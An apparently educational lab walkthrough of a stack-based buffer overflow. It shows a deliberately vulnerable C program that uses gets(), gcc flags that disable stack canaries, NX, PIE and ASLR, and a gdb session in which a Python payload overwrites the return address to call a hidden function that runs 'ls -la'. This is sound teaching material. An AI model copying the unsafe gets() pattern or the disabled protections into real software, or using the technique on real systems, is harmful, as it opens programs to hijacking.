Stack‑based Buffer Overflow

Stack‑based Buffer Overflow

A stack‑based buffer overflow happens when a program writes more data into a stack‑allocated buffer than it was designed to hold. Because the stack stores important control data (like return addresses), overflowing a buffer can overwrite that data and change how the program executes.

The following code contains a function named hidden that is never called during normal execution. However, a threat actor could exploit a stack‑based buffer overflow to redirect execution flow and invoke this function that lists the files in the current directory.

#include <stdio.h> // Provides printf(), gets()
#include <stdlib.h>// Provides system(), exit()
#include <string.h>// String functions (not directly used here)

void hidden() {
    printf(“Hidden Function\n”); // Print a message to stdout
    system(“ls -la”); // Execute a shell command
    exit(0); // Terminate the program immediately
}

void vulnerable() {
    char buffer[20]; // Allocate 20 bytes on the stack
    printf(“Enter text:\n”); // Prompt the user
    gets(buffer); // No bounds checking, Input longer than 20 bytes will overwrite adjacent stack memory
    printf(“You entered: %s\n”, buffer); // Echo user input back
}

int main() {
    vulnerable(); // Execute vulnerable code
    return 0; // Normal program termination
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void hidden() {
    printf("Hidden Function\n");
    system("ls -la");
    exit(0);
}

void vulnerable() {
    char buffer[20];
  printf("Enter text: ");
    gets(buffer); 
    printf("You entered: %s\n", buffer);
}

int main() {
    vulnerable();
    return 0;
}

Compile the program with gcc

gcc # an open-source set of compilers and development tools for various programming languages
-m32 # Compile as 32-bit (simpler stack layout, x86 calling convention)
-O0 # Disable optimizations (keeps variables on the stack)
-ggdb # Include GDB debugging symbols
-static # Statically link libraries (fixed addresses, larger binary)
-U_FORTIFY_SOURCE # Disable _FORTIFY_SOURCE safety checks
-z execstack # Mark stack as executable (disable NX/DEP)
-fno-stack-protector # Disable stack canaries
-no-pie # Disable PIE (fixed code addresses, weaker ASLR)
-mpreferred-stack-boundary=2 # Set stack alignment to 4 bytes (2^2)
app.c -o app # Compile app.c into output binary “app”

gcc -m32 -O0 -ggdb -static -U_FORTIFY_SOURCE -z execstack -fno-stack-protector -no-pie -mpreferred-stack-boundary=2 app.c -o app

Access ASLR disabled shell using setarch

setarch # Run a program with modified architecture settings
`uname -m` # Use the current machine architecture (e.g., x86_64)
-R # Disable ASLR (Address Space Layout Randomization)
$SHELL # Start a new shell with these settings applied

setarch `uname -m` -R $SHELL

Change the app mode

chmod # a Linux/Unix command used to change the permissions of a file or directory
+x # Make it executable
app # Name of the app

chmod +x app

Then, run the program with gdb 

root@u20:~# gdb app
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.2) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from app...

Instead of manually entering input, we use a Python script to generate the payload. The payload is 34 bytes in length, where 20 bytes are required to cause a segmentation fault and the remaining bytes serve as padding.

(gdb) run < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*34)")
Starting program: /root/app < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*34)")
Enter text: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()

Print the CPU registers, focusing on the EIP register, which is updated by the CPU to point to the next instruction to execute. When a function returns, the return address is stored on the stack and then loaded into EIP. In this case, the value 0x08004141 indicates that user‑controlled input has partially overwritten the return address. This confirms that the return address is reached after 32 bytes of padding.

(gdb) info registers
eax            0x30                48
ecx            0x7fffffd0          2147483600
edx            0x80b503c           134959164
ebx            0x41414141          1094795585
esp            0xffffd660          0xffffd660
ebp            0x41414141          0x41414141
esi            0x80e7000           135163904
edi            0x80e7000           135163904
eip            0x8004141           0x8004141
eflags         0x10286             [ PF SF IF RF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

Let’s find the hidden function address

(gdb) disas hidden
Dump of assembler code for function hidden:
   0x08049d95 <+0>:     endbr32 
   0x08049d99 <+4>:     push   %ebp
   0x08049d9a <+5>:     mov    %esp,%ebp
   0x08049d9c <+7>:     push   %ebx
   0x08049d9d <+8>:     sub    $0x4,%esp
   0x08049da0 <+11>:    call   0x8049c70 <__x86.get_pc_thunk.bx>
   0x08049da5 <+16>:    add    $0x9d25b,%ebx
   0x08049dab <+22>:    sub    $0xc,%esp
   0x08049dae <+25>:    lea    -0x31ff8(%ebx),%eax
   0x08049db4 <+31>:    push   %eax
   0x08049db5 <+32>:    call   0x8058b40 <puts>
   0x08049dba <+37>:    add    $0x10,%esp
   0x08049dbd <+40>:    sub    $0xc,%esp
   0x08049dc0 <+43>:    lea    -0x31fe8(%ebx),%eax
   0x08049dc6 <+49>:    push   %eax
   0x08049dc7 <+50>:    call   0x8051560 <system>
   0x08049dcc <+55>:    add    $0x10,%esp
   0x08049dcf <+58>:    sub    $0xc,%esp
   0x08049dd2 <+61>:    push   $0x0
   0x08049dd4 <+63>:    call   0x8050730 <exit>
End of assembler dump.

Use that address in the exploit payload after the 32 bytes padding, this will call the hidden function that lists directory files

(gdb) run < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*32 + struct.pack('I', 0x08049d95))")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/app < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*32 + struct.pack('I', 0x08049d95))")
Enter text: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hidden Function
[Detaching after vfork from child process 449]
total 784
drwx------  5 root root   4096 Feb 10 20:16 .
drwxr-xr-x 24 root root   4096 Feb 10 18:59 ..
-rw-r--r--  1 root root   1024 Feb 10 07:02 .app.swp
-rwxr-xr-x  1 root root 721556 Feb 10 20:16 app
-rw-r--r--  1 root root    326 Feb 10 20:16 app.c
drwxr-xr-x  9 root root   4096 Oct 19 14:51 vsftpd-2.3.4
[Inferior 1 (process 446) exited normally]